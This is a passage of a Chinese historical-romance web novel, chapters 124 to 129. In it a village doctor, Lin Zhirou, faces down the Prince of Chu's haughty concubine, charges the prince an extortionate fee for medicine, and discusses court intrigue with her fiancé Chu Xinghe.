这时,贾秦华打扮得珠光宝气,趾高气扬地走进医馆。她一身绣着牡丹的月白色锦衣,头上戴着点翠金钗,腰间系着碧玉佩环,举手投足间尽是贵气。头上的金钗在阳光下闪闪发亮,裙摆随着步伐轻轻摆动。她目光轻蔑地打量着林芷柔,心中冷笑。楚星河居然为了这么个乡下丫头退了她的亲,真是可笑。 维持秩序的人立刻上前,客气地说道:“,请去后面排队。” “排队?”贾秦华冷笑一声,声音里带着显而易见的不屑,“本夫人何时需要排队?一个小小的医馆,竟敢如此放肆!” 她的声音引来不少病人侧目。有人皱眉,有人摇头,更多的人露出不满的神色。 林芷柔放下手中的笔,目光平静地看向贾秦华。她的声音不疾不徐:“在仁心医馆,规矩就是规矩。想看病,去排队。不愿意,请便。” 这话一出,周围的病人纷纷开口讽刺贾秦华。 “不知道从哪冒出来的疯婆子,连自己是谁都不知道。”一个老妇人冷哼一声。 “林大夫说了,这里众生平等,管你是谁呢!”另一个病人附和道。 “就是,有钱了不起啊?” “排队怎么了?我们都在排队呢!” 议论声此起彼伏,贾秦华的脸色越来越难看。她的手指紧紧攥着手帕,指节发白。 “林芷柔!”她尖声喊道,声音里带着几分歇斯底里。 这一声尖叫吓得正在看诊的小孩哇哇大哭。孩子的母亲连忙将他搂在怀里安抚,同时怒目而视。 “仲儿,给我教训这些不知天高地厚的贱民!”贾秦华一挥手,绣着金线的袖子在空中划出一道弧线。 仲儿立刻上前,抬手就要打那位抱着孩子的妇人。婴儿似乎感受到了危险,哭声更加响亮。 林芷柔眼神一冷,手中的毛笔“啪”的一声拍在桌上。 她身形一闪,快如闪电般出现在仲儿面前。右手成掌,直接击在仲儿胸口。 “啪!” 一声脆响。 仲儿整个人如同断了线的风筝,直接飞了出去,重重摔在地上。她捂着胸口,脸色惨白,一时间竟说不出话来。 “在我的医馆撒野,你是嫌命太长了?”林芷柔的声音冰冷刺骨,带着一丝杀意。 贾秦华脸色瞬间煞白,不由自主地后退了一步。她的手指微微发抖,显然被林芷柔的气势震慑。 她没想到林芷柔竟然敢动手,更没想到这个乡下来的野丫头居然有这等身手。要知道,仲儿可是她特意从江湖上请来的高手。 “你...你敢打我的人?”贾秦华声音都在发抖,但还要强撑着气势。 “打你的人?”林芷柔冷笑一声,缓步向前,“要不要我也打你试试?” 周围的病人纷纷站了出来。 “这位夫人,你是不是搞错地方了?这里是仁心医馆,不是你家后院。”一位老者拄着拐杖,声音洪亮。 “就是,林大夫医术高明,救死扶伤,你凭什么来这撒野?”又一位妇人站出来说道。 “看着就不像是本地人,怕是不知道林大夫的厉害。” “前些日子我家老头子都快不行了,是林大夫救活的。” “我家孩子的疾病,找遍了城里的大夫都治不好,还是林大夫有办法。” 七嘴八舌的声音此起彼伏。 “林芷柔,你好大的胆子,居然敢冒犯本良娣!”贾秦华气得脸色发白,声音里带着明显的颤抖。 林芷柔继续给病人开药方,头也不抬:“这位娘子,我这儿还有好些病人要看,要吵架请排队。”她的声音平静中带着几分调侃,惹得周围的病人忍不住笑出声来。 第一百二十四章 自取其辱 “你!”贾秦华气得浑身发抖,玉手紧握成拳,“你这粗俗的乡下女子,知道我是谁吗?” “知道啊。”林芷柔终于抬起头,眼中带着几分戏谑,“楚王的小老婆嘛。”她特意在“小老婆”三个字上加重了语气。 这句话像是一根针,精准地戳中了贾秦华的痛处。她的脸色瞬间变得煞白,连唇色都褪去了血色。 “我是良娣!不是什么小老婆!”她尖声叫道,声音里带着几分歇斯底里。 “哦?”林芷柔挑眉,手中的毛笔在纸上划出流畅的字迹,“在我这儿,不是正室的都叫小老婆,良娣这种新鲜玩意儿,我这个粗鄙村姑可不懂。” 围观的病人们憋着笑,有人甚至笑出了眼泪。一个小贩模样的汉子低声对身边的人说:“这位大夫说话可真够劲儿的。” 马车里的楚王眉头紧皱,他原本是想让贾秦华来试探林芷柔的,没想到反倒让自己的良娣丢了脸面。透过车窗的缝隙,他若有所思地打量着那个身着素衣的女子。 “你!”贾秦华气得说不出话来,胸口剧烈起伏,“你这样的女人,也难怪只配给楚星河那个莽夫!” “是啊。”林芷柔笑眯眯地说,手上动作不停,“我们都是粗人,说话是直截了当的,不像某些人,明明是小老婆还非要装大度。”她说这话时眼睛都没抬一下,仿佛在说一件微不足道的小事。 贾秦华的脸色由白转青,又由青转红。她在帝都时是出了名的才女,诗词歌赋样样精通,举止优雅,谈吐不凡。什么时候受过这种气? “你以为楚星河真的喜欢你吗?”贾秦华冷笑,声音里带着浓浓的嘲讽,“不过是看中你的医术罢了!等他玩腻了,你就知道自己有多可笑了!” “那也比某些人强。”林芷柔继续给病人看诊,手指轻轻搭在病人的脉搏上,“至少我还有点本事,不像有些人,除了会装模作样,什么都不会。” 这话说得太狠了,贾秦华只觉得胸口一阵发闷。她原本是云陵伯世子的未婚妻,却因为种种变故嫁入了楚王府。本以为能当个体面的侧妃,没想到连玉蝶竟然都没资格上。 马车里的楚王听得直摇头,他现在明白为什么楚星河会选择林芷柔了。这个女人虽然出身乡野,但说话做事干脆利落,比那些整天勾心斗角的贵女有意思多了。 “林芷柔,你不要得意!”贾秦华咬牙切齿,眼中恨意翻滚,“你以为自己是个什么东西?不过是个...” “我是个大夫。”林芷柔打断她的话,终于抬起头来,眼神清亮,“现在还有病人等着看诊,你要是闲得慌,不如去学学怎么当个称职的小老婆?” 周围又是一阵哄笑。有人低声议论:“这位良娣娘娘怕是要气坏了。” 贾秦华气得浑身发抖,她发现自己说什么都被林芷柔堵得死死的,连一点还手的余地都没有。这哪里是什么村姑,分明是个伶牙俐齿的狐狸精! “你...你等着!”贾秦华咬牙切齿,指甲都快掐进肉里,“我这就去告诉王爷,看他怎么收拾你!” “哦?”林芷柔轻笑一声,话里有话的说道,“那正好,我也想见见楚王。” 贾秦华一愣。她总觉得林芷柔的笑容中藏着什么,但又说不上来。这种感觉让她心里发慌。 就在这时,一个小厮匆匆跑来,在贾秦华耳边低语了几句。贾秦华的脸色顿时变得更加难看,她狠狠地瞪了林芷柔一眼,转身离去。 林芷柔看着她的背影,轻轻叹了口气。她知道,这只是开始。楚王府的人不会这么轻易放过她,但她也不是任人拿捏的软柿子。 “柔柔姑娘,您别为我们得罪贵人。”那位抱着孩子的妇人担忧地说道。她的孩子已经不哭了,正好奇地看着眼前的一切。 “无妨。”林芷柔温和地说,语气与方才判若两人,“你家孩子只是普通的肠胃不适,回去喝些清淡的粥就好,不用吃药。记得给他多喝温水,别让他着凉。” 妇人千恩万谢地离开了。 林芷柔重新坐回诊台前,继续给病人看诊。她的动作从容不迫,仿佛方才的冲突不曾发生过。 医馆外,华贵的马车停在不远处。车帘微微掀起,露出一张俊美的面容。 楚王看着医馆内的一切,嘴角噙着一丝玩味。这个林芷柔,倒是越来越有意思了。不仅医术了得,武功也不弱。难怪楚星河会为她退婚。 想到这里,楚王嘴角勾起一抹若有若无的笑意。他倒要看看,这个女人还有什么本事。 马车内,楚王的贴身侍卫低声道:“王爷,要不要属下去教训那个林芷柔?她竟敢对良娣夫人无礼。” “不必。”楚王摆了摆手,“贾秦华自己找事,活该吃亏。” 侍卫不敢多言,但心中却有些疑惑。王爷平日最是宠爱贾良娣,今日怎么反倒站在外人这边? “去查查这个林芷柔的底细。”楚王忽然说道,“我记得她是从边陲小城来的?” “是。据说是逃荒来的。”侍卫答道。 马车缓缓驶离,车轮碾过地面,扬起一阵尘土。林芷柔抬头望了一眼远去的马车,眼神复杂。 夕阳西下,诊所里的病人渐渐散去。林芷柔开始收拾药材,将它们一一归类整理。她的动作很慢,似乎在思考着什么。 突然,一阵急促的脚步声传来。她抬头,看见一个熟悉的身影站在门口。 那人穿着一身墨色劲装,腰间别着长剑,面容坚毅。正是楚星河。 “听说今天贾秦华来找你麻烦了?”他的声音里带着几分关切。 林芷柔笑了笑:“没什么,就是互相认识了一下。” 楚星河走进来,看着她收拾药材的背影,眼神柔和:“你别怕,有我在。” “我知道。”林芷柔头也不回地说,“不过有些事,我想自己解决。” 楚星河沉默了一会儿,然后说:“好,随你。不过要是有什么解决不了的,记得告诉我。” 林芷柔转过身,看着他坚毅的面容,心中涌起一股暖意。她知道,不管发生什么,这个男人都会站在她这边。 第一百二十五章 楚王看诊 林芷柔坐在医馆的诊桌前,手中的毛笔在纸上轻轻划过。 诊桌上摆着几个青瓷药瓶,散发着淡淡的药香。一旁的药柜上整齐地排列着各色药材,显示出主人的一丝不苟。 她抬眼看向眼前这位自称楚王的男子,眸光清冷如霜。这位楚王生得俊美非凡,一袭墨色锦袍衬得他气质出尘,举手投足间尽显贵气。只是那双眼睛深不见底,让人看不透他的真实想法。 接着,把目光转向站在楚王背后的贾秦华身上,只见它一身贵妇人的打扮,林芷柔嘴角勾起一抹淡淡的笑意。 “楚王爷,您这位良娣脾气可真是不小。”她语气轻松地说道,手指有一下没一下地翻着手中的脉案,“前两天在我这闹事,要是换个胆小的大夫,怕是早就被吓跑了。” 楚王司马川坐姿端正,一身墨色锦袍衬得他愈发贵气逼人。他面带微笑:“林大夫说笑了,良娣只是一时心急。” “心急?”林芷柔轻哼一声,停下手中的动作。她抬起头,目光直视着司马川的眼睛,“我林芷柔虽是个平头百姓,但也不是谁都能随意发泄情绪的对象。” 一旁的贾秦华听到这话,脸色顿时变得难看起来。她身着华贵的宫装,头上的金钗在阳光下闪闪发亮,却掩饰不住眼中的怒意。 “你这个大夫,怎么敢这样和王爷说话!”贾秦华忍不住呵斥道,声音尖锐刺耳。 林芷柔不为所动,反而慵懒地靠在椅背上。她的目光在贾秦华精致的妆容上扫过,嘴角挂着若有若无的笑意:“良娣娘娘,您这是在教我做事?” 司马川眼中闪过一丝不悦,显然没料到会被一个大夫如此对待。他原本想借贾秦华的事情试探林芷柔对楚星河的态度,没想到却碰了一鼻子灰。 诊室里的气氛一时变得凝重起来。窗外传来鸟儿的啁啾声,更衬得室内的沉默令人窒息。 “本王听闻林大夫医术高明,今日特来讨教。”司马川终于开口,勉强挤出一丝笑容,试图缓解尴尬的气氛。 “王爷,请报上姓名。”林芷柔语气平淡,仿佛面对的不是一位王爷,而是普通的病患。 一旁的贾秦华立刻不悦地开口,声音尖锐:“你这村姑好大的胆子,竟敢直呼王爷名讳!可知道什么是尊卑有别?” 林芷柔连看都懒得看她一眼,继续专注于手中的病历簿。纤长的手指捏着毛笔,在纸上写下工整的字迹。 楚王司马川倒是饶有兴致地打量着眼前这位不同寻常的女大夫。她一身月白色男装打扮,束发简单利落,眉眼之间透着几分英气。这般装扮,与那些浓妆艳抹的闺阁女子大不相同。 “本王姓司马,名川。”他缓缓开口,语气温和,带着几分笑意。 林芷柔点点头,继续问道:“年龄?” “二十有六。” “籍贯?” 司马川微微蹙眉,有些疑惑:“何为籍贯?” “就是你住在哪里。”林芷柔头也不抬,语气依旧平静,“若不方便说,就写帝都便是。” 贾秦华又要开口,却被司马川抬手制止。她只得咬着唇,一脸不甘地坐在一旁。 “帝都便帝都吧。”他轻笑一声,目光在林芷柔脸上流连,“林大夫这规矩倒是新鲜。” “仁心医馆自有仁心医馆的规矩。”林芷柔抬起头,目光清冷如寒潭,“若是王爷不愿遵守,大可离开。” 这话说得直白,丝毫不给这位王爷面子。医馆里的其他大夫听了,都不由得屏住呼吸,生怕惹怒了这位贵人。 司马川却不恼,反而笑意更深:“林大夫说话当真痛快。本王倒是越发欣赏了。” 贾秦华坐在一旁,气得脸色发青。她怎么也想不通,楚星河为何会看上这样一个不懂规矩的村姑。想到自己被退亲的屈辱,眼中满是怨毒。 “王爷身体有何不适?”林芷柔问道,语气公事公办。 司马川收起笑容,眉间浮现一丝疲惫:“近日总觉胸闷气短,夜间难以入眠。有时还会心悸,坐立难安。” 林芷柔瞥了一眼案桌上的脉枕,上面绣着精美的云纹。她伸手拿起脉枕,动作优雅地放在桌上:“那就请王爷搭脉吧。” 贾秦华连忙上前帮司马川挽起袖子,露出他修长的手腕。林芷柔看着那截白皙的手腕,眉头微皱。这些达官贵人最是讲究,还是找块布遮一下为好。 她的目光落在贾秦华手中的帕子上。那是一块上等的丝绸手帕,边缘绣着精致的花纹。林芷柔也不客气,直接伸手拿过来盖在司马川的脉门上。 “借用一下你的手帕。”林芷柔看着贾秦华说道,语气中带着几分调侃,“你应该不会这么小气吧?” 贾秦华气得跺脚,玉钗随着她的动作轻轻晃动。她强忍着怒气,从牙缝里挤出两个字:“无妨。” “王爷,接下来请保持安静。”林芷柔闭上眼睛,纤长的手指轻轻搭在司马川的脉门上。她能感受到掌下的脉搏跳动,每一下都透露着不同寻常的信息。 司马川目不转睛地盯着她的脸,想从她平静的表情中看出些端倪来。阳光下,林芷柔的睫毛在脸上投下一片阴影,让人看不清她的神色。 诊室里安静得能听见呼吸声。贾秦华站在一旁,不安地绞着手中的帕子。她时不时偷瞄司马川一眼,却发现王爷的注意力完全在林芷柔身上。 片刻之后,林芷柔睁开眼睛,神色凝重。她的目光中带着几分惊讶,仿佛发现了什么不得了的事情。 “王爷这病症,应该是从十五六岁开始的吧?”她开口问道,声音中带着几分笃定。 司马川瞳孔微缩,很是惊诧。他没想到林芷柔竟能从脉象中看出这么多。 “每次发作时腹部剧痛,痛不欲生。”林芷柔继续说道,“发作间隔不定,可能一年,也可能两三年。而且,”她顿了顿,“发作时间越来越频繁了,对吗?” 贾秦华脸色大变,她从未听说过王爷有这样的病症。她不可置信地看着司马川,却发现王爷的表情越发凝重。 “这病能治吗?”司马川沉声问道,声音中带着几分压抑的急切。 林芷柔摇摇头,长长的发丝随着她的动作轻轻晃动:“根除不了。” 第一百二十六章 你抢钱啊 司马川眼中寒光乍现,周身散发出一股凌厉的气势。贾秦华被吓得往后退了一步,但林芷柔却神色如常,仿佛没有感受到这股压迫感。 “不过可以用药物控制。”她补充道,语气平静,“虽然不能根治,但至少能让王爷不那么痛苦。而且,”她意味深长地看了司马川一眼,“我想王爷应该也不希望这个病症被太多人知道吧?” 司马川眼中的戾气渐渐散去,取而代之的是一丝若有所思的神色。他端详着林芷柔的脸,似乎在重新评估这个年轻的大夫。 “林大夫果然名不虚传。”他最终说道,嘴角重新挂上了笑容,“如果我坚持服药,是不是就能痊愈?” “未必。”她轻声说道,目光落在司马川身上。阳光从她身后投射进来,在地上拉出一道修长的影子。 司马川眉头紧皱。他的手指无意识地敲击着椅子扶手,发出轻微的“咚咚”声:“此话怎讲?” 林芷柔缓步走到桌前,素手执壶,为自己斟了一杯茶。茶香袅袅升起,在空气中缓缓飘散。 “王爷的病症,主要源于日常生活中的诸多不良习惯。”她将茶盏轻轻放在唇边,“焦虑过度,熬夜伤身,这些都是病因所在。” 茶水的温度正好,她小啜一口,继续道:“药物能暂时缓解疼痛,但无法根治王爷的心病。若想长久安康,还需调理身心,戒掉那些伤身的习惯。” 一旁的贾秦华听到这话,忍不住插嘴:“你一个大夫,怎么尽说些虚无缥缈的话?王爷需要的是实在的药方!” 林芷柔放下茶盏,瞥了她一眼。贾秦华身着华贵的衣裳,却掩饰不住眉宇间的轻浮之气。这样的女人,也配做王府良娣? “良娣这话说得不对。”林芷柔的声音依旧平静,“医者,当治未病。若只知开药方,那与江湖郎中有何区别?” 司马川听完,紧锁的眉头渐渐舒展。他端起茶盏,轻轻摇晃:“林大夫说得在理,本王记下了。不知那止痛的药方,何时能配好?” “这个嘛...”林芷柔放下茶杯,嘴角勾起一抹狡黠的笑,“我们不妨先谈谈价格。” 贾秦华冷哼一声,珠钗随着她的动作轻轻晃动:“林大夫不是向来明码标价,一千两银子吗?” “一千两?”林芷柔轻笑,目光在贾秦华脸上扫过,“那是给云州普通富户的价格。王爷乃是帝都贵胄,难道也要按这个价?” 她站起身,裙摆轻轻拂过地面,发出细微的沙沙声:“在你眼里,王爷就这般不值钱?” 贾秦华被这话噎住,脸色一阵青一阵白。她下意识地看向司马川,却见王爷面色如常,显然并不反感林芷柔的话。 “你...你到底要多少?”贾秦华咬牙切齿地问道。 “我要多少?”林芷柔居高临下地看着她,“你一个小小良娣,也配过问王爷的医药费?” 司马川在一旁听得暗暗点头。这林芷柔虽是在狮子大开口,但说话却颇有技巧,既抬高了他的身份,又给了贾秦华一个下马威。 阳光渐渐西斜,室内的光线变得昏暗起来。林芷柔走到窗边,伸手拨弄了一下窗外的花枝,几片花瓣随之飘落。 “听好了。”她转向司马川,“止痛药,一万两银子的价格一瓶。” 这话一出,司马川的笑容顿时凝固。他的手指无意识地握紧了茶盏,指节泛白。 “林大夫,你这是抢钱!你家是八辈子没见过银子吗?”贾秦华尖声叫道,声音刺耳得让人皱眉,“谁知道你的药是真是假?有用没用?” “住嘴!”司马川怒斥,“不会说话别说话。” “没错,就是抢。”林芷柔悠然自得地坐下,手指轻轻敲击着桌面,“你让我心里不爽,我就让你相公的荷包受点折磨。这很公平,不是吗?” 司马川看着眼前这个巧舌如簧的女子,心中暗叹。他那一百多万两银子丢失的事还未查明,如今又要被这般敲诈。 林芷柔看着楚王府的良娣,心中冷笑。果然是个没脑子的。 她轻轻抿了一口茶,目光在贾秦华脸上扫过。这女人刚才还趾高气扬,此刻却像霜打的茄子一般蔫了。那张精心打扮过的脸上,妆容都掩饰不住内心的慌乱。 “王爷,一万两银子一瓶,确实不便宜。”林芷柔慢悠悠地说道,手指轻轻摩挲着茶杯边缘,“要不您还是另请高明吧。” 司马川听到这话,他眸光微动,唇角勾起一抹若有若无的笑意:“林大夫这是嫌银子少了?” “不敢。”林芷柔将手中的药瓶轻轻放在桌上,瓷瓶与木桌相碰发出清脆的声响,“只是觉得,有些人怕是心疼银子。” 贾秦华脸色一白,死死咬住下唇。她站在司马川身后,双手紧紧攥着手帕,指节都泛了白。方才她那番话,确实是自己蠢了。王爷的病情要紧,她却在这时候说风凉话。 医馆里一时陷入沉默,只有外面传来的细碎脚步声和病人的低语。 司马川不耐的目光在贾秦华身上停留片刻,这女人,真是越来越让他失望了。他转头看向窗外的天色,阳光正好,却让他感到一丝烦躁。 “本王要两瓶。”他淡淡开口,声音里带着不容置疑的威严。 林芷柔却摇了摇头,青丝随着她的动作轻轻晃动:“抱歉,不卖了。” 说着,她伸手将桌上的药瓶收回,动作干脆利落。瓷瓶在她手中仿佛有了生命,轻巧地消失在袖中。 贾秦华心中一惊,连忙跪了下来,裙摆在地上铺开一片绯红:“林大夫,是我口不择言,得罪了您。求您大人大量,将药给王爷吧!” 司马川静静看着这一幕,眼底浮现出几分兴味。 这个林芷柔,倒是有几分意思。不卑不亢,进退有度,比他见过的那些女人都要有趣得多。 “良娣这是做什么?”林芷柔轻笑一声,声音清冷如同山间的溪水,“我这小小医馆,可承受不起您这一跪。” 她站起身,避了开去。 贾秦华额头抵地,声音带着哭腔:“求林大夫开恩。” “你倒是会装模作样。”林芷柔冷笑,转身看向跪地的女人,“方才说我们家几辈子没见过这么多银子时,怎么不见你这般低声下气?” 第一百二十七章 坐地起价 司马川眸光微闪,看向林芷柔的目光多了几分深意。他在扶手上敲击的手指停了下来,整个人似乎都来了兴致。 这女人,不简单。 医馆外传来一阵喧闹声,似乎是有病人在争执。林芷柔皱了皱眉,走到门边吩咐小厮去处理。 “本王出两万两一瓶如何?”司马川开口道,声音里带着一丝笑意。 林芷柔却是一笑:“王爷这是要坐地起价?” 司马川:“......” 他还真是第一次被人说坐地起价。看着眼前这个胆大包天的女人,他竟不知该如何接话。 屋内的气氛一时有些微妙。贾秦华跪在地上,大气都不敢出。 “也罢。”林芷柔忽然话锋一转,“药可以卖给王爷,但要立字据。” 司马川挑眉:“字据?” “不错。”林芷柔正色道,走回桌前坐下,“这药王爷带走后,若有人在里面动手脚,那可就说不清了。” 她目光扫过贾秦华:“毕竟有些人,心思不正得很。” 司马川眸光一凛,“你这是要避免以后的麻烦?”这个林芷柔,心思缜密得很。不但想到了后患,还借机给贾秦华一个教训。 有意思。真是越来越有意思了。 “你说得对,就是要杜绝风险。”她的声音不疾不徐,目光在司马川和贾秦华之间游移,“你家这位娘子没事就喜欢找茬,若是从我这拿了药回去出了事,怕是要闹得天翻地覆。” 医馆内弥漫着淡淡的药香,混合着晨露的清新,让人心神宁静。林芷柔身后的药柜上,整齐地摆放着各色药罐,每个罐子上都贴着她亲手写的标签。 司马川眉头微蹙,目光落在林芷柔身上。这个女子举手投足间透着一股难以言说的气质,与普通的乡野村医大不相同。 与他见过的其他女子也都不同。 王妃规规矩矩,一举一动都循规蹈矩,像是被人精心雕琢过的玉器,美则美矣,却少了几分生气。 后院那些侍妾,要么战战兢兢,如同惊弓之鸟;要么装腔作势,做作得让人生厌。 就连贾秦华,也不过是个徒有其表的花瓶罢了。平日里装得端庄大方,关键时刻却露出了真面目。 唯独这个林芷柔,让他感觉新鲜。她像是一杯上好的茶,初尝时清冽,回味却有着独特的韵味。 他张了张嘴,却最终没有说话。 林芷柔也不理会他的表情,从抽屉里取出一张上好的宣纸。她提笔蘸墨,笔走龙蛇,一气呵成写就一份协议。墨香四溢,笔锋凌厉。 “王爷请过目。”她将纸张轻轻推到司马川面前,纤细的手指在纸面上轻轻点了点,“若觉得合适就签字,试药后药品便可带走。若是不合适,那就请回吧。” 司马川接过协议,目光在纸上流连。他倒不是在意协议内容,而是对眼前这个女子越发好奇。她的字迹遒劲有力,行云流水,显然是经过多年苦练。一个乡野村医,不仅医术高明,还能写得一手好字,这实在令人生疑。 林芷柔察觉到他探究的目光,不动声色地往后退了半步,她知道自己暴露了些许破绽,但此时也只能装作若无其事。 贾秦华站在一旁,心里有一些诧异。一个乡下女子,居然能写会算,这着实让她意外。难道这林芷柔的身份真如表面这般简单? 司马川仔细看完协议内容,心中一凛。协议写得明明白白,药品需当场试验,检验人选定为林芷柔本人。一旦签字,无论药品出现任何问题,仁心医馆概不负责。这份协议将所有风险都转移到了他的身上。 医馆内一时陷入沉默,只有门外传来的鸟鸣声和远处的人声喧哗。阳光渐渐变得明媚,在地上投下斑驳的影子。 “真是个谨慎的女人。”司马川在心中暗道。他能感觉到林芷柔的不简单,但又说不出哪里不对劲。 他略作思索,提笔在协议上签下自己的名字。 “还需要私印或手印。”林芷柔指着旁边的空白处说道,声音平静得没有一丝波澜。 司马川从荷包中取出私印,郑重其事地盖了上去。朱红的印泥在白纸上留下鲜艳的痕迹,像是一个无声的承诺。 林芷柔也在协议上签字按印,动作干脆利落。随后她转身走向药柜,从中取出两瓶药水,当着众人的面将它们混合在一起。 药水在玉瓷碗中交融,发出轻微的响声。林芷柔面不改色地端起碗,毫不犹豫地饮下药水。她的动作行云流水,仿佛已经演练过无数次。 喝完药后,她将剩余的药递给司马川,眼神清澈见底:“请静候片刻,若我无恙,便证明药无问题。”她看向司马川,“不知王爷可满意这个试药方式?” “林大夫多虑了。”司马川温和一笑,眼底带着几分玩味,“本王信得过你。” 林芷柔瞥了眼贾秦华,唇角勾起一抹讽刺的弧度:“王爷信得过不够,还得让王爷的女人信得过才行。”她的声音里带着几分凉意,像是秋日里的一阵冷风。 贾秦华脸色微变,却强忍着没有发作。她知道现在不是逞口舌之快的时候,但心里已经把林芷柔恨得咬牙切齿。 司马川接过药瓶,目光含笑:“林大夫医术果然了得。难怪帝都中都在传,说你医术高明。” “王爷过奖。”林芷柔语气依旧平淡,“若无他事,请回吧。外面还有不少病人在等着。” 司马川站起身,忽然问道:“听闻林大夫与楚星河已定亲?” 林芷柔手中的动作一顿,眸光一冷:“这与看诊无关。” “本王只是好奇,”司马川笑道,眼中带着探究的神色,“楚星河为何会退了贾良娣的亲,转而选择林大夫。” 贾秦华听到这话,眼中的怨毒更深。她紧紧攥着手帕,指节都泛白了。 “王爷若是闲来无事,不如多关心自己的身体。”林芷柔冷声道,“至于我与楚星河的事,还轮不到王爷过问。” 司马川眸光一深,随即又恢复如常:“林大夫说得是,本王失礼了。” 司马川站起身,整理了一下衣袍,目光在她脸上停留片刻。她的容貌算不上绝色,但那双眼睛却格外明亮,仿佛能看透人心。“如此,本王就告辞了。” 林芷柔也起身相送:“王爷慢走。” 第一百二十八章 夜观星空 司马川转身离去,锦袍的衣角在空中划出一道优美的弧线。 贾秦华连忙跟上,跌跌撞撞地站起身。她的裙摆已经沾了灰尘,但此刻已顾不得许多。 却听身后传来林芷柔清冷的声音。 “良娣还是多关心王爷的病情吧,少操心旁人家几辈子见没见过银子。” 贾秦华身子一颤,几乎要跌倒。她扶住门框,指节因用力而发白。 司马川眸光微冷,脚步却未停。这一趟云州之行,倒是让他见识了一个有趣的女子。 阳光正好,洒在他们离去的背影上。林芷柔站在门口,看着他们的身影渐渐消失在街角。 待司马川带着贾秦华离开后,回到客栈,他的脸色瞬间阴沉下来。房间里的空气仿佛凝固了,连呼吸都变得困难。 “你太让本王失望了。”他居高临下地看着跪在地上的贾秦华,声音冰冷得像是寒冬腊月的风,“本王让你去找楚星河的麻烦,你却去招惹林芷柔,你是想看着本王死吗?” 贾秦华浑身颤抖,额头抵在地上,连连叩首。她的发髻有些散乱,几缕青丝垂落在脸侧:“王爷明鉴,妾身绝无此意。” “去找楚星河,拿到他的贴身之物。”司马川冷冷道,眼神阴鸷,“这是你将功补过的机会。若是再办不好,就别怪本王心狠手辣。” 说完,他转身离开,留下贾秦华一人在房中。脚步声渐渐远去,直到完全消失。 待司马川离开,贾秦华瘫坐在榻上,她的脑中思绪翻涌,像是翻滚的浪潮,一波接着一波。 窗外的阳光依旧明媚,却照不进她阴暗的内心。她终于明白了司马川的真实意图。他接近自己,不过是为了破坏她和楚星河的婚事。那日在茶楼的意外,恐怕也是他一手策划。 想到这里,贾秦华心如死灰。她已经上了司马川的贼船,此时想要下船,怕是只有死路一条。眼泪无声地滑落,打湿了锦绣衣裳。 既然如此,那就拉着楚星河一起下地狱吧。她抬起头,眼中闪过一丝决绝。 她要让楚星河付出代价,让他也尝尝心碎的滋味。 林芷柔躺在屋顶上,望着满天繁星,今天的事像放映的画面般在脑海中回放,她不禁轻轻叹了口气。 楚王司马川带着他的小妾贾秦华来看病时那副趾高气扬的模样,仿佛不是来求医,而是来施舍般。想到这里,她的眉头不自觉地皱了起来。 “一个小小的尿结石,装得跟要命似的。”林芷柔轻哼一声,手指在瓦片上敲出轻微的节奏。 身后传来轻微的响动,青瓦被踩踏时发出细微的“咯吱”声。她不用回头也知道是谁来了,这熟悉的脚步声,这些日子已经听了无数遍。 楚星河像往常一样,从天井飞身而上,动作轻盈得像一只灵巧的猫。月光下,他的身影修长而优雅,仿佛与夜色融为一体。 “又在这里发呆?”楚星河在她身旁坐下,递过一个用油纸包着的糕点。 林芷柔接过来,闻到一股淡淡的桂花香:“你从哪弄来的?” “城南新开的点心铺子,”楚星河看着她小口咬着糕点的样子,眼中带着笑意,“听说你今天遇到麻烦了?” “麻烦?”林芷柔咽下口中的糕点,撇撇嘴,“那个楚王,你是没看到他看我的眼神,简直像在看什么稀罕物似的。那眼神恶心得很,要不是顾及身份,我真想给他来一针。” 楚星河的表情瞬间变得严肃:“他对你无礼了?” “他倒是不敢,”林芷柔放下手中的糕点,拍了拍手上的碎屑,“主要是他那个小妾,啧啧,那副嚣张的样子,活像她才是正主似的。一进门就开始耍横,对我的医术指手画脚,连个基本的礼数都不懂。” “贾秦华?”楚星河眉头微蹙,语气中带着一丝无奈,“她大概是因为我的事情迁怒于你。” “哦?”林芷柔来了兴趣,转头看向他,“说说看,你跟她有什么过节?该不会是...” “想什么呢?”楚星河轻弹了下她的额头,“还不是之前退婚的事,估计她现在回过神儿来了,知道我身体好了,怀疑我故意为之。这女人心胸狭窄,记仇得很。” “那她找错人了,”林芷柔冷笑一声,“我可不是任人拿捏的软柿子。” “你做了什么?”楚星河挑眉,语气中带着几分好奇。 “我啊,”林芷柔得意地晃了晃脑袋,“故意等她闹够了,才提出要和楚王签协议的事。让楚王以为是因为她胡闹,才非得立字据。你是没看到楚王那表情,面上笑嘻嘻,眼里都要喷火了。” “然后呢?”楚星河被她的表情逗笑。 “最绝的是,”林芷柔手舞足蹈地比划着,“那贾秦华当场就慌了,直接跪下求我别跟楚王计较。楚王就在旁边看着,连个屁都不敢放。” “司马川向来如此,”楚星河语气转冷,“在他眼里,什么都不如自己的命重要。” 林芷柔靠在楚星河肩上,随手拉过他的手把玩:“你的手真好看,骨节分明,像是画上去的一样。” “柔柔,”楚星河任由她摆弄自己的手指,语气却认真起来,“以后要多加小心贾秦华,她最擅长后院那些手段。上次在相国府,就是她设计害死了楚王的原配夫人。” “我怕她?”林芷柔不以为然,“在我的地盘,她翻不出什么浪来。再说了,我又不是普通人,她那些下三滥的手段,我一眼就能看穿。” “话虽如此,但还是要小心为上,”楚星河轻轻握住她的手,“这些人心思歹毒,防不胜防。” 林芷柔感受着他手心的温度,心里涌起一股暖意。她知道楚星河是在担心她,但她不想让他太过忧心。 “对了,”她突然想起什么,“今天给楚王把脉的时候,发现他体内有一股奇怪的气息,像是中了什么慢性毒。” 楚星河的手指微微一顿:“什么毒?” “还不确定,”林芷柔皱眉思索,“感觉有点像曼陀罗,但又不太像。而且他自己似乎并不知情。” “这倒是个突破口,”楚星河若有所思,“要不要我去查查?” “不急,”林芷柔摇摇头,“我已经让云花去打听了。再说,这种毒虽然麻烦,但短时间内不会要命。” 第一百二十九章 有两下子 远处传来更夫打更的声音,打破了夜的宁静。 林芷柔靠在楚星河怀里,眉头微蹙。 “太子若出事,或是玄冥皇子在边境闹出动静,楚王就有机会染指那个位置了。”她轻声说道。 想到这里,林芷柔挺直腰板,目光凝重:“玄冥皇子和楚王,你觉得他们之间可有勾结?他来云州,究竟想从谁手中拿到连珠弓图谱?” 屋内烛火摇曳,在墙上投下两人交叠的影子。楚星河将她重新拉入怀中,指腹轻轻摩挲着她的手背:“放心,连珠弓制造分了三十七道工序,每道工序都在单独房间完成。就算楚王拿到图纸,也未必能造得出来。” “那也不能掉以轻心。”林芷柔摇头,发髻上的珠钗轻轻晃动,“图纸最好分散保管。万一被人得手,后果不堪设想。” 